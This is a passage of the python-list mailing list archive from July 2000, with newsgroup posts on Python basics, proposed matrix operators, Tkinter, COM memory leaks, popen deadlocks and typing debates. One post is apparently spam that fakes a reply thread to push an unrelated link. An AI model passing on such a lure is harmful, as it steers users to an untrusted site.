>In my experience LispMe is the best on-board development system as far
>as system integration is concerned. The only drawback is that it's
>Lisp! I'd prefer Forth as a language, but development with
>QuartusForth is just too messy; every time you start the interpreter
>you have to reload all your definitions. And of course I'd *really*
>prefer Python...

As would I, but in the meantime, I've contented myself with OnBoardC.
http://www.individeo.net/

But man, is my C ever rusty.  "How do you pass a function pointer?"
"Why can't I name two functions the same when they're in different
files, and I only use them in their respective files?"  Too used to
OO, I guess.

Oh, yeah, and having the Palm Keyboard helps a lot, too...

Later,
Blake.
-- 
10:23pm up 2 days, 23:06, 3 users, load average: 0.01, 0.02, 0.00


From nick at spam_me_not_videosystem.co.uk  Fri Jul 14 14:23:01 2000
From: nick at spam_me_not_videosystem.co.uk (Nick)
Date: Fri, 14 Jul 2000 19:23:01 +0100
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <396f5aeb@news.xtml.co.uk>

I imagine with Python it comes back to the readability argument which is a
strongly held belief in the design. And lower case is more readable :-)

"Peter Timaratz" <timaratz at lisco.com> wrote in message
news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason that
> it is case sensitive. So what are the advantages of a case sensitive
> language?
>
>




From olivierS.dagenaisP at canadaA.comM  Wed Jul  5 09:43:16 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 05 Jul 2000 13:43:16 GMT
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>
Message-ID: <UXG85.39291$W35.861333@news20.bellglobal.com>

Make this adjustement:

OUT.write ("Number = %d" % number)

I just tried it, and it works.  My guess is the rules for write are
different than for print, so what appears to be a string concatenation in
print might just be a sequence type of some sort.  (sorry, I learned Python
this weekend, that's the best I can do in explaining it)

You can also use:

OUT.write ("Number =" + str(number))

...which might be more what you're looking for.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


<cmfinlay at SPAMmagnet.com.au> wrote in message
news:tzFjOfN2zOzPHwvl3ncklEAEb+fa at 4ax.com...
> number = 100
> print "Number =", number
> OUT = open("TT.txt","w")
> OUT.write("Number =", number) # Error
> OUT.close()
>
> The code above gives the error.
>
> Traceback (innermost last):
>   File "ttest.py", line 5, in ?
>     OUT.write("Number =", number)
> TypeError: read-only buffer, tuple
>
> OUT.write("Hello World")
>
> Works but a number or variable of a number does not.
>
> I have been reading documents on Python to no avail this time.
> I am using Win98 with the latest python for this OS.
>
> Any help would be much appreciated
> E-mail me at cmfinlaySPAM at magnet.com.au
> or reply here.




From cut_me_out at hotmail.com  Mon Jul 24 13:57:05 2000
From: cut_me_out at hotmail.com (Alex)
Date: 24 Jul 2000 13:57:05 -0400
Subject: mapping the read() fonction
References: <8lhsu5$huv$1@reda.worldonline.fr>
Message-ID: <etdg0ozl8cu.fsf@w20-575-116.mit.edu>

> I've used the map function to open my list of file but I can't do the
> same for the read() function, because it is a method function of the
> file class

You could do this sort of thing (untested)

files          = map(open,    filename_list)
read_functions = map(getattr, files, len(files) * ['read'])
file_contents  = map(apply,   read_functions)

...but I'd just use a for loop if I were you.

Alex.


From gjm11 at g.local  Tue Jul 18 16:04:44 2000
From: gjm11 at g.local (Gareth McCaughan)
Date: Tue, 18 Jul 2000 21:04:44 +0100
Subject: Discussion: Introducing new operators for matrix computation
References: <3bRSXS$je4@openbazaar.net>
Message-ID: <slrn8n9e2s.1pcu.gjm11@g.local>

Paul Prescod wrote:

[I said:]
>> Only if you implement matrices as lists of lists, in which
>> case operations like * and / won't work anyway. I was assuming
>> that (1) you have a special Matrix class, and (2) the machinery
>> for list comprehensions is flexible enough to let it express
>> other kinds of mapping.
> 
> Today, the list comprehension syntax is syntactic sugar for
> 
> a=[]
> for i in firstloop:
> 	for j in secondloop: ...
> 		a.append( i, j )
> 
> I don't see any easy way to guess what type you want as "output" so it
> has to default to a fixed type. You could of course do this:
> 
> Matrix( [...] )
> 
> I would be curious about ideas for allowing the output object to be
> specified or inferred. What would the protocol be?

Well, I was making a broken assumption about the meaning of
multiple comprehension indices: namely, that
  [(i,j) for i in [1,2], j in [1,2]]
would evaluate to [(1,1), (2,2)] rather than [(1,1), (1,2), (2,1), (2,2)].
If it's supposed to go the other way, then some of my other
assumptions stop working. :-)

However: I had been thinking along the following lines.
[expr for var in val] should produce something of the same
type as val, with the property that result[i] == expr(val[i])
for each legal index i. (Or something of the sort.)

One way to make this doable would be for each collection type
to define a "list-of-all-valid-indices" method, which (e.g.)
would return something like [0,1,2] for ["foo",23,[]]. Then
list comprehension could iterate over the result of that.
There'd also need to be a "make something new of the same
shape" method. (A "shallow copy" method would, of course,
do this just fine.)

So [f(x) for x in collection] would turn into something like

    indices = collection.valid_indices()
    result  = collection.clone()
    for index in indices:
      result[index] = f(collection[index])

There might be a more efficient way to do this, of course.

With more than one collection being iterated over, as in
[blah blah blah for x in xs, y in ys], the simplest thing
would be to use the first collection mentioned as template
and source of valid indices. (This is the thing that fails
totally if we're doing cartesian products rather than parallel
iteration.)

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From brown.2053 at osu.edu  Sat Jul 22 00:46:13 2000
From: brown.2053 at osu.edu (Nick Brown)
Date: Sat, 22 Jul 2000 00:46:13 -0400
Subject: textvariables in Labels don't work in Win98se
Message-ID: <8lb8qr$3s1$1@mcnet.marietta.edu>

I am running Python 1.5.2 in Win98se. When I run this program:

from Tkinter import *
root=Tk()
myString=StringVar()
Label(root, textvariable=myString).pack()
myString.set('hello there')
root.mainloop()

I get a window with empty space.
But when I run the EXACT SAME CODE on a Linux box, I get a window with the
text 'hello there' in it. Why does the same simple program work differently
in Win98se than in Linux?




From olivierS.dagenaisP at canadaA.comM.bbs  Mon Jul 17 15:30:06 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 17 Jul 2000 19:30:06 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRMkU$mXi@openbazaar.net>

I have been following this thread for a while, and I thought of something:

Maybe the solution isn't to modify Python (although the ability to overload
arbitrary operators might be cool), but to create a "solution" that
understands these new operators and can still run Python code.

We can write a "MatrixPython compiler" (or maybe it would be a
pre-processor) that takes a file that uses Huaiyu's operators and spews out
"normal" Python code.  The "compiler" would pass through all non-matrix
specific code and substitute matrix operators with function calls or
something.

Just an idea...
--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Bjorn Pettersen" wrote in message news:39735D6E.8E3349D9 at roguewave.com...
> Huaiyu Zhu wrote:
>
> [snip]
>
> > As to the claim that additional operators for linear algebra is somehow
> > comparable to the special syntaxes/quirks of various programming
languages,
> > no real argument has been presented so far.  It's more like: If I don't
care
> > and don't use such things, they must belong to a special domain and be
> > somehow comparable to some other things that I do know and dislike.
>
> On the contrary. The argument is something like the following:
>
>  - Python is a general purpose language, and as such it can't
>    support special case syntax for Matrix/cgi/xml/db programming.
>    (special syntax has previously been requested for both cgi and
>    db programming).
[snip]


From glt at e-pack.net  Wed Jul 26 17:33:59 2000
From: glt at e-pack.net (Gilles Lenfant)
Date: Wed, 26 Jul 2000 23:33:59 +0200
Subject: Please help... with re
Message-ID: <397F5947.EBDA7F33@e-pack.net>

Hi,

I made an horrid 68 lines monster to split a string to a list of
substrings based on following example:

This is an "example of a \"splitted\" text " by my monster.

results to this list:

[ 'This' , 'is' , 'an' , 'example of a "splitted" text ' , 'by' , 'my' ,
'monster' ]

But the stuff is too slow to parse the lines of giant log files.
I would like to use "re" package to make a shorter and faster script but
understanding its patterns/methods is not in my poor brain capabilities.

I have burned my last neurons to try to do it, and I'm close to the edge
of a nervous breakdown.
Who can help me to get it at work ?

Many, many thanks in advance !

Gilles Lenfant
glt at equod.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000726/3411c452/attachment.html>

From thomas at xs4all.net  Sun Jul  9 05:50:36 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 9 Jul 2000 11:50:36 +0200
Subject: Getting ip address and browser info
In-Reply-To: <3967B9F8.1694E2F3@bioeng.ucsd.edu>; from cjensen@bioeng.ucsd.edu on Sat, Jul 08, 2000 at 04:32:08PM -0700
References: <3967B9F8.1694E2F3@bioeng.ucsd.edu>
Message-ID: <20000709115036.U26534@xs4all.nl>

On Sat, Jul 08, 2000 at 04:32:08PM -0700, Curtis Jensen wrote:
> Using python CGI how can I get the ip address and browser info of the
> requestion party?  Thanks.

They're stored as environment variables. I'm not sure which environment
variables are CGI-standard and which are Apache-specific, but I think you
want 'REMOTE_ADDR' and 'HTTP_USER_AGENT', respectively. You can get at them
using 'os.environ[<variable name>]', in Python.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From jlecomte at ifrance.com  Mon Jul 17 11:38:01 2000
From: jlecomte at ifrance.com (=?iso-8859-1?Q?J=E9r=F4me_Lecomte?=)
Date: Mon, 17 Jul 2000 16:38:01 +0100
Subject: CXX and Swig, pros and cons
Message-ID: <8kv5uj$4of$1@broadway.news.is-europe.net>

I am fairly new to Python and I'd like to interface part of a medium
size C++ lib (around 70 classes) to Python. I looked on the www and I
found CXX and Swig. They seem to have fairly different approach of the
problem. I wonder which suits best C++.

If I miss any other tool, please let me know.

J?r?me.



From swun at esec.com.au  Sun Jul  2 21:56:41 2000
From: swun at esec.com.au (Sam Wun)
Date: Mon, 03 Jul 2000 11:56:41 +1000
Subject: how to push data in to ssh in python?
Message-ID: <395FF2D9.1B46251D@esec.com.au>

Thanks

Sam


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000703/9708364b/attachment.html>

From olivierS.dagenaisP at canadaA.comM  Tue Jul 25 11:26:43 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Tue, 25 Jul 2000 15:26:43 GMT
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <8li6gm024e8@news2.newsguy.com> <397DA68A.8153C672@cornell.edu>
Message-ID: <Tkif5.43589$1h3.551909@news20.bellglobal.com>

PythonWin ( http://starship.python.net/crew/mhammond/ ) makes skipping
blocks of code easy with an editor that "folds" similarily-indented code.
(check out the screenshot at http://www.scintilla.org/ )

It's-amazing-how-easy-a-language-gets-once-you-have-a-good-editor-ly y'rs..

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Samuel Scarano" <srs25 at cornell.edu> wrote in message
news:397DA68A.8153C672 at cornell.edu...
> > > e.g. In the following example, If you want to added a new 'if' between
> > > line 1 and 2, you have to add TAB from Line 2 to 199,
> > > it's difficult to make sure you don't make mistake. (The case may be
> >
> > You ARE joking, right?  If you hadn't mentioned vi, I would still
> > be doubtful, but, *with* vi, what can POSSIBLY be easier than
> >     :2,199s/^/<tab>/
> > ?!
>
> I'll tell you what's easier:
> 197>
>
> (although in reality, you would know the line number, so you would say
> something like
>
> ma^f^f^f^f>'a
>
> I'm not posting this just to brag/advtertize/proselytize WRT vi or vim;
> rather, I think it's important to point out that good programmer's editors
> make it easy to control tabs over many lines, so ensuring that python code
> is parsed correctly is really not a problem.
>
> In fact, you have the converse assurance -- that the code you see (in
> particular, code written by many people over many years) will be indented
> correctly. Wish I could say the same for the C code where I work....
>
> On the other hand, I will say this: the squiggly braces around blocks in
> C-influenced programming languages are nice for quickly locating the
> opposite boundary of a block (esp. functions). There have been times when
I
> wanted to skip to the end of along function and wished I could just use
> vim's "%" command.
>
> --
> Samuel R. Scarano                        "Due to circumstances beyond my
> Cornell University undergraduate         control, I am master of my fate
> <srs25 at cornell.edu>                      and captain of my soul."
> http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant




From olivierS.dagenaisP at canadaA.comM  Wed Jul 12 08:05:56 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 12 Jul 2000 12:05:56 GMT
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no> <rkl95.48923$W35.1068917@news20.bellglobal.com> <ICWa5.46250$Qw1.1084910@news.tpnet.pl>
Message-ID: <EaZa5.65176$W35.1593364@news20.bellglobal.com>

Yes, I was going on the assumption that #init wasn't going to throw an
exception, and that the inner "except" block would re-throw if it was really
bad:

try:
    # safe init stuff
    try:
        # not so safe stuff
    except:
        # is it an exception we want to handle?
        # if so, handle, send an error message, etc..
        # otherwise, re-throw the error
finally:
    # de-init stuff


--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Tomek Lisowski" <Lisowski.Tomasz at sssa.nospam.pl> wrote in message
news:ICWa5.46250$Qw1.1084910 at news.tpnet.pl...
> U?ytkownik Olivier Dagenais w wiadomo?ci
> do grup dyskusyjnych
> napisa?:rkl95.48923$W35.1068917 at news20.bellglobal.com...
> > If I remember the tutorial correctly, it doesn't support finally with
> > anything else.  I have a feeling you would need to do:
> >
> > try:
> >     #init
> >     try:
> >        # stuff
> >     except:
> >        # stuff
> > finally:
> >     #stuff
> >
> > ...that is, assuming that your "except" would only catch specific
> exceptions
> > that you would want to prepare an error message with.
>
> Please quote the original message next time.
>
> At least I can see in your example one error. If you place try...except...
> within try...finally..., the latter construct won't see any exceptions at
> all. Moreover, if #init raises an exception, it won't be caught!
>
> I see it more logical in this order:
> try:
>    try:
>      #init
>      #stuff
>    except:
>      #stuff
> finally:
>    #stuff
>
> If you want separate behaviour for exceptions in #init and the first
#stuff
> sections, add yet another try...except... contruct. If #init is safe, and
> will not raise any exceptions, it can be placed outside of the inner
> try...except... construct.
>
> Tomek Lisowski
>




From gregory.lielens at fft.be  Thu Jul 20 15:20:07 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Thu, 20 Jul 2000 21:20:07 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39773559.77C3D696@yale.edu> <3977422D.ED3EAF05@fft.be>
Message-ID: <397750E7.C0123D3@fft.be>

I was probably wrong in my first attempt to define kronecker product,
but something like 

 def __specialproduct__(self,b):
   rank4tensor = self.i(2,4) (*) b.i(1,3)
   return(rank4tensor[RemoveAxis,:,RemoveAxis,:])

may be ok... if for a(...,n,m,...), b=a[...,RemoveAxis,:,...] produce a
tensor b(...,n*m,...)

Enough of this, my head is spinning :-)
Anyway, element and inner product should be sufficient as infix operator
in a first step imho, in a second we should
be able to specify generalized inner product where the indices are
specified, and be able to create/destroy dimensions in arrays, a la
NumPy. 

Greg.


From aahz at netcom.com  Mon Jul 17 13:37:51 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 17 Jul 2000 17:37:51 GMT
Subject: Global & Importing issues.... Newbie
References: <963849878.7647.0.nnrp-13.c3ad12d2@news.demon.co.uk>
Message-ID: <8kvg9f$bhd$1@nntp9.atl.mindspring.net>

In article <963849878.7647.0.nnrp-13.c3ad12d2 at news.demon.co.uk>,
Toby <t.harris at robinsons.co.uk> wrote:
>I have a simple requirement for a second module to access a global variable
>stored in the first (main) module.
>
>I can reproduce my problem with the following 2 modules...
>
>Mod1.PY >>>
>import Mod2
>
>myGlobal = None
>
>if __name__ == "__main__":
>
>  myGlobal = 100
>
>  Mod2.DoPrint()
>#endif
>#endmodule
>
>
>Mod2.PY >>>
>import Mod1
>
>def DoPrint():
>  print Mod1.myGlobal
>#enddef
>#endmodule

What's wrong with

  Mod2.DoPrint(myGlobal)

?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From etiennel at geospace.co.za  Thu Jul 13 03:57:29 2000
From: etiennel at geospace.co.za (Etienne Labuschagne)
Date: Thu, 13 Jul 2000 09:57:29 +0200
Subject: Memory leak problems with python and COM
Message-ID: <963474833.835936@proxy.lia.net>

Hi there,

I have a COM server written in C++ which accepts VARIANTs as input.  The
VARIANT must be a SAFEARRAY of chars (bytes) in which the data is passed.

On the python side, I pass the data to the COM server as follows:

a = array('l')
#add some data to a
b = buffer(a)
CallCOMMethod(b) #passing b to the COM server
del b
del a    #i've tried this both ways around

On the C++ side I get the data as a VARIANT containing a SAFEARRAY. The data
in the SAFEARRAY is of type char* (bytes).  I do this so that I can directly
cast the char* to a structure that is in the correct format wihout having to
copy the values one for one, thus getting some extra speed in using the
data.

Each time I pass an array to the COM server, python's memory usage goes up.
The memory doesn't ever go down even if I kill the COM server.  Passing
enough array's eventually causes the computer to run out of memory.

I have done the following to try and stop the memory leak:

Deleted a and b on the python side and then destroying the COM server - that
doesn't clear up the memory. I am using SafeArrayAccessData and
SafeArrayUnlock on the server side to make sure that it releases the data on
the server side.

Is there something else that I must do?

ANY help would be appreciated!

Regards
Etienne




From ge at nowhere.none  Fri Jul 28 10:32:10 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 14:32:10 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com>
Message-ID: <KPgg5.2640$6E.682060@ptah.visi.com>

In article <8lrt2h013fp at news2.newsguy.com>, Alex Martelli wrote:
>
>> whereas 1 + "foo" is meaningless to almost everyone except Perl coders.
>
>No way -- it's perfectly valid in C, too, except that there it means the
>constant-string "oo".  Really, truly, X my heart, I kid you not, check it
>out if you don't believe me (I wouldn't blame you for disbelieving this!).

I would assert that although 1 + "foo" is meaningful to the C
_compiler_, it is still meaningless to almost "everyone" (as in
people) except Perl coders, and probably meaningless to most of
them as well.

-- 
Grant Edwards                   grante             Yow!  I am KING BOMBA of
                                  at               Sicily!...I will marry
                               visi.com            LUCILLE BALL next Friday!


From stephen at cerebralmaelstrom.com  Mon Jul  3 05:24:06 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Mon, 03 Jul 2000 09:24:06 GMT
Subject: PYRO, XML-RPC, and their friends.
Message-ID: <8jpm3d$6ss$1@nnrp1.deja.com>

Okay, apparently i'm entering another one of my Twenty Questions phases.

I've discovered recently that I have a need for some Client/Server db
fucntionality in the python project that i'm working on. What I don't
want is to have to deal with installing some Big Bunch Of Crap that
will be needed to support my program, and even though I know nothing
about ODBC, it seems like that would include more baggage then its
worth in this instance.. not to mention i'd _like_ to maybe eventually
have my little windows program run on Linux...maybe

Anyways. It might be a bit overly complicated in and of itself, but the
way i've thought of doing it is just setting up PYRO, XML-RPC, etc, to
communicate between my Server and its Clients, to then access a MetaKit
controlled on the server.

I have two questions:

#1) How fast are these? There might actually be a need to transmit
quite a bit of data between the client and the server -- over an
ethernet LAN connection, prolly.. Some of this data might actually be
binary files, either stored in the db or on the side, and i'd need to
be transmitting that across also. I don't know how long it'd take one
of these systems to send across a multi-megabyte binary file.. The rest
of the data i'd be sending would be irrelevant in comparison.

#2) Is there a Better Way? Keep in mind that i don't want to include a
lot of stuff extra which is going to require installation if I don't
have to..

Thanks!

--Stephen


Sent via Deja.com http://www.deja.com/
Before you buy.


From hniksic at iskon.hr  Fri Jul 28 08:09:30 2000
From: hniksic at iskon.hr (Hrvoje Niksic)
Date: 28 Jul 2000 14:09:30 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <dp3dkulamd.fsf@mraz.iskon.hr>

grey at despair.rpglink.com (Steve Lamb) writes:

> On Fri, 28 Jul 2000 01:24:08 -0400, Tim Peters <tim_one at email.msn.com> wrote:
> >Steve, in case it isn't clear yet, Python programmers *want* to be
> >blown out of the water when doing something as senseless as
> 
> >    1 + "foo"
> 
> It isn't senseless.  That is the whole point.  It is only senseless
> because of typing.  Clearly you cannot add a word to a number,
> granted.  But what of 1 + "1"?  That isn't senseless, those are two
> numbers.  I can see they are two numbers, it is only because of
> typing that it fails.

I sort of hope you're trolling here.

For me, 1 and "1" are clearly not two numbers.  The former is a
number, the latter a string consisting of the character "1".  Saying
that they are numbers because we "see" they're numbers is like
insisting one 1 + "one" to return 2 because "one" is so obviously a
number.


From hzhu at knowledgetrack.com  Fri Jul 21 19:29:26 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 23:29:26 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net>
Message-ID: <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com>

On 20 Jul 2000 13:48:05 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>In article <Pine.LNX.4.10.10007191505070.1129-100000 at rocket.knowledgetrack.com>,
>Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
>>
>>        matrix          element      names (with prefix m or e)
>>          +               .+            add
>>          -               .-            sub
>
>I am strongly opposed to operators of the form ".+".  What happens if
>take an expression of the form "5.+matrix"?  No, that goes against the
>Python rule of having zero ambiguity.

I'd like to rehash this argument.  Assuming * for matrix and .* for element.

The operators + - * / are defined completely according to linear algebra, so
they will check dimension mismatch and raise exceptions.  This is a very
imortant guarantee.  Without this there can be a lot of very hard to track
bugs.

The operators .+ .- .* ./ are defined elementwise with broadcasting (ie
automatically extending missing dimensions).  This is the default behavior
of current Numeric package and is accepted by its current users.  One
example usage: to plot a graph

z = sin(x.**2 .+ y.**2)

is more efficient than the matlab way

[x, y] = meshdomain(x,y)
z = sin(x.^2 + y.^2)

because extension is not needed until the addition.

So both sets of operators are well defined using consistent rules.  All the
operators are different.  All of them are useful algorithmically, not just
for lazy figers.  

Then why allow .* ./ but ban .+ .-?  There may be a perception that .+ .-
are somehow too similar to + -. Specifically, a+b==a.+b if size(a)==size(b).
But then there is also a*b=a.*b when a is number, etc. Accepting .* ./ while
avoiding .+ .- makes the rules more complicated for no apparent gains.

Besides, if we are to have only one version of a+b, what should be its
semantics?  It is unthinkable to change current Numeric bahavior.  It is
also difficult to explain why a*b has dimension checking but a+b does not.

If the . itself is the problem then we must treat that problem, by using @,
for example, instead of making up a rule to exclude part of the problem.

Another solution.  The same problem exists for .* as well.  Using [] to
denote matrix.  Then is 1.*[1]==[1.] or 1.*[1]==[1] true?  To be consistent
with current implementation, it seems the answer has to be [1.].  One way to
solve the problem is to make

number .+ matrix 

illigal, which can be done by leaving  __rdotadd__ undefined.

Huaiyu


From yuwefe at mnet.com  Wed Jul 19 10:44:13 2000
From: yuwefe at mnet.com (yuwefe at mnet.com)
Date: 19 Jul 2000 14:44:13 GMT
Subject: I found it for you  7233
Message-ID: <8l4ert$bfd$604@news.brutele.be>

Is this it Johanna ?  http://forward.to/research

"Johanna svenson" <J.Svenson at surnet.se> wrote in message
news:398F7447.95599EA7 at surnet.se...

>   Hey there, I use to know a cool site but I cant 
>   remember the adress any more. Do you still have
>   it Nadine ?



From kellyk at my-deja.com  Wed Jul  5 18:57:39 2000
From: kellyk at my-deja.com (kellyk at my-deja.com)
Date: Wed, 05 Jul 2000 22:57:39 GMT
Subject: Accessing ASP-IIS objects in modules
Message-ID: <8k0egu$ujn$1@nnrp1.deja.com>

I am using Python in ASP under Microsoft IIS. I can use the IIS objects
like Server, Request and Response easily in my ASP script but cannot
access them from a module.

For example I want to use Response.Write("blah") from within a module
(called from an ASP script) but Reponse is not a known object from
there.

Any ideas?


Sent via Deja.com http://www.deja.com/
Before you buy.


From niels at endea.demon.nl  Thu Jul 27 08:40:22 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Thu, 27 Jul 2000 14:40:22 +0200
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com> <uaef4m92z.fsf@ctwd0143.fitlinxx.com>
Message-ID: <39802DB6.73CEC178@endea.demon.nl>


David Bolen schreef:
...
> since the os.popen#() routines can standardize on
> using the first (or only for the original os.popen) file for returning
> the exit code on the close, and since that's always stdin of the child
> (except for the pair of os.popen() write modes, for which there's no
> connection to the child stdin) it minimizes the risk of any deadlock
> waiting for the child process during the close since the wait is
> performed as part of closing stdin to the child process.

I don't quite see how you can safely wait() for the child process before
you close *all* the pipes. Given that pipes have limited buffer space,
the child process might want to output more than that amount of data
after encountering EOF on the input. Consider this example:

#---
import popen2

def getstring():
    # get a string from somewhere

def usestring(s):
    # do something with s

stdin, stdout = popen2.popen2('sort')
while 1:
    s = getstring()
    if not s:
        break
    stdin.write('%s\n', s)
status = stdin.close() #XXX deadlock here
while 1:
    s = stdout.readline()
    if not s:
        break
    usestring(s)
stdout.close()
#---

I think this would, with a sufficient amount of data to be sorted, be
guaranteed to give a situation where the parent is waiting for the child
to terminate, while the child is waiting for the parent to read its
output.

-- 
Niels Diepeveen
Endea automatisering



From loewis at informatik.hu-berlin.de  Sun Jul  9 06:09:42 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:09:42 +0200
Subject: kinda of silly???
References: <KQk95.37423$NP5.1176528@newsread2.prod.itd.earthlink.net>
Message-ID: <p6qpuon4ntl.fsf@informatik.hu-berlin.de>

"Arint?" <shouldbe at message.com> writes:

> When you are embedding python in a c++ app, all arguments sent from python
> to c++ in should function call should be parsed with PyArg_ParseTuple.  Is
> that statement correct?
> 
> I could have swore someone a while back told me other wise.

While this is the common approach, it is by no means the only
one. Python simply passes a tuple object to the C function. It is then
up to that function to analyse it. PyArg_ParseTuple is convenient for
fixed-number varying-type functions, whereas, say, PyTuple_GetItem
would be required for more complex cases of varargs functions.

Regards,
Martin



From andymac at bullseye.apana.org.au  Tue Jul 18 07:26:33 2000
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Tue, 18 Jul 2000 21:26:33 +1000 (EST)
Subject: pty.py: any example code out there?
In-Reply-To: <B5995041.6490%dgoodger@bigfoot.com>
Message-ID: <Pine.OS2.3.95.1000718212140.1587B-100000@CENTRAL>

On Tue, 18 Jul 2000, David Goodger wrote:

> I'm looking for some concrete examples of the use of pty.py or any
> equivalent. I've written a wrapper for the passwd program on QNX (a
> POSIX-compliant realtime OS), and passwd is reluctant to be wrapped, writing
> directly to the console/tty/pty, bypassing stdin/out. My wrapper currently
> uses telnetlib.py to do its dirty work, but it's a kludgey solution. Any
> samples, examples, pointers, hints or tips out there? Thanks in advance!

I tried using expectmodule, which includes pty support, for this sort of
thing on Solaris without success :-(.  I ended up using it (expectmodule) 
to telnet to localhost to get it to run passwd.

I'd be interested in any other solutions you come up with.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre at aba.gov.au    (work) | Snail: PO Box 370
        andymac at bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
        andymac at pcug.org.au           (play2) |        Australia




From frr at mindless.com  Fri Jul  7 04:31:05 2000
From: frr at mindless.com (Fernando Rodríguez)
Date: Fri, 07 Jul 2000 08:31:05 GMT
Subject: Python based macro processor (URGENT)
Message-ID: <dzg95.34$Pn2.1078@m2newsread.uni2.es>

Hi!

    Is there any Python based macro processor? O:-) I'm looking for
something like m4, but with a saner syntax... :-)

TIA

--


---------------------------------------
Fernando Rodr?guez




From hzhu at localhost.localdomain  Mon Jul 17 14:58:34 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 18:58:34 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net>
Message-ID: <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 13:33:55 -0500, Paul Prescod <paul at prescod.net> wrote:
>
>Let me repeat a challenge I made to Huaiyu Zhu. If the only difference
>between Matlab and Python is the syntax, then let's you and I make a
>Matlab syntax for Python and sell it at half of Matlab's price. We could
>make millions on a month's work! 

I thought I replied your email through email ... Ah, here it is:

> > Now look at the total number of users of matlab/octave, and ask: Is python
> > really so inferior that most of them wouldn't switch to python?
> 
> I have no idea. If the primary difference between expensive matrix
> packages and Python is syntax, perhaps you and I should incorporate and
> exploit that market inefficiency. :)

The market is efficient.  Matlab does worth that much (or even more).  It
does take that much human labor to get to that stage, so sadly we can't get
rich by following them.  On the other hand, open source may beat them
easily, as long as

1. we are using a better language which has more potential
2. users have incentive to contribute because it's already useful
3. there's no big hurdle beyond what's already in Numerical Recipe

>My strong feeling is that people don't just use Matlab for the syntax.
>And the popularity of Matlab books is probably not proportional to the
>popularity of Matlab. University students are forced to buy those books. 

You feeling may be wrong, even if it is strong.  Many students use Matlab
despite their adviser's urge to use other more "conventional" software - at
least in the earlier years.  For all I know, the disproportionality is the
other way round - most matlab users never own a matlab book.  (A personal
note which may not worth much: I've used matlab for ten years and don't own
a matlab book.  I've used python for half a year and proudly own three
python books.)

Huaiyu



From digitig at cix.co.uk  Thu Jul  6 14:05:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Thu, 6 Jul 2000 19:05 +0100 (BST)
